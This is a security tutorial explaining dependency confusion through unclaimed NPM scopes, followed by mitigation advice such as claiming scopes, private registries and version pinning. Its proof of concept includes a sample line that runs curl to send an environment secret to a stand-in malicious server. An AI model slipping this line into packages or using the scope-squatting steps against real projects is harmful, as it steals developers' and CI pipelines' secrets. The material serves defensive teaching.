💎Exploiting Unclaimed NPM Packages and Scopes

In this part of the tutorial, we'll explore how the unclaimed package or scope on NPM can be abused by attackers. We'll also explain how attackers can execute this attack and how developers can mitigate the risks associated with this vulnerability.

Understanding the Vulnerability

The core of the vulnerability lies in an unclaimed package or organizational scope on NPM. NPM allows developers to publish packages under specific scopes, often corresponding to an organization (e.g., @acme/package-name). If a legitimate organization fails to claim its scope or specific package name, an attacker can step in, create the same scope or package, and upload a malicious version of it.

When developers or CI/CD pipelines run npm install to fetch dependencies, NPM might download and execute the malicious package instead of the intended one. This occurs because:

1. The malicious package has a higher version number.

2. The unclaimed package scope was used, and NPM pulls the package from the public registry.

Proof of Concept (PoC) Steps:

1. Unclaimed Scope: Suppose the organization acme-labs has not claimed its scope on NPM, leaving the package @acme-labs/core-module unregistered.

2. Attacker Registers the Scope: The attacker can create an NPM account, register the scope @acme-labs, and publish a package called core-module with a malicious version, e.g., 99.99.99.

3. Developer Installs Dependencies: When a developer or CI/CD pipeline runs npm install, NPM will fetch the highest version available of @acme-labs/core-module, which now includes the attacker's malicious code.

4. Code Execution: Once installed, any malicious code within the package will execute when the developer runs the application. This could include anything from data exfiltration to remote code execution (RCE).

Practical Exploitation Example:

Imagine a developer working on a project that depends on the @acme-labs/core-module package. They include the following in their package.json file:

{
  "dependencies": {
    "@acme-labs/core-module": "^1.0.0"
  }
}

However, @acme-labs is an unclaimed scope on NPM. An attacker notices this, registers the scope, and uploads a malicious package with a version number 99.99.99. When the developer or their automated system runs npm install, the malicious version is downloaded because it's the highest available version.

The malicious package might contain code like:

// Inside the malicious package
console.log("Stealing your secrets...");

// Example of malicious code that could be executed
require('child_process').exec('curl http://malicious-server.com?data=' + encodeURIComponent(process.env.SECRET));

This would steal environment variables or other sensitive data from the developer’s machine or CI/CD pipeline, potentially leading to further exploits.

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Mitigation Strategies: Preventing Dependency Confusion Attacks

There are several key steps developers and organizations can take to protect against dependency confusion attacks, especially those involving unclaimed NPM packages or scopes:

1. Claim Your Package Names and Scopes

• Proactively claim your NPM scope for your organization, even if you don’t plan to publish packages right away. This prevents attackers from registering it on your behalf.

• Register any package names you plan to use in the future to avoid them being claimed maliciously.

npm init --scope=@acme-labs

Use Private NPM Registries for Internal Packages

• For internal packages, host them on a private NPM registry rather than relying on the public NPM registry. This ensures that NPM installs internal dependencies from your private registry.

• You can set up your project’s .npmrc file to point to your private registry:

registry=https://private-registry.example.com/

3. Lock Down Dependency Versions

• Use lock files (such as package-lock.json) to ensure that specific versions of dependencies are used across all environments.

• Ensure that these locked dependencies are reviewed and audited regularly to check for vulnerabilities.

4. Audit Dependencies Regularly

• Use tools like npm audit or third-party services to scan your project for any potential vulnerabilities, including dependency confusion.

npm audit

• Services like Snyk or Dependabot can also help alert you to issues related to third-party dependencies.

5. Version Pinning

• Instead of allowing NPM to install the latest version of a package (^ or ~), pin specific versions in your package.json to ensure that a known, safe version is installed.

{
  "dependencies": {
    "@acme-labs/core-module": "1.0.0"
  }
}

Monitor for Unexpected Package Installations

• Keep an eye on the packages being installed. If you notice new or unexpected packages being fetched from NPM, investigate to ensure they’re legitimate.

• Set up monitoring alerts for new packages in your scope or organization to detect any unauthorized packages being published.

Conclusion

NPM dependency confusion, particularly when exploiting unclaimed packages or organizational scopes, is a serious security risk that can lead to malicious code execution on developers’ machines. Attackers can exploit unclaimed package names to inject harmful code into projects that rely on NPM’s package management.

By proactively claiming your NPM scopes and packages, using private registries, auditing dependencies, and pinning versions, you can significantly reduce the risk of these attacks. As the dependency landscape evolves, being vigilant about how dependencies are managed and installed is essential for maintaining the security of your projects.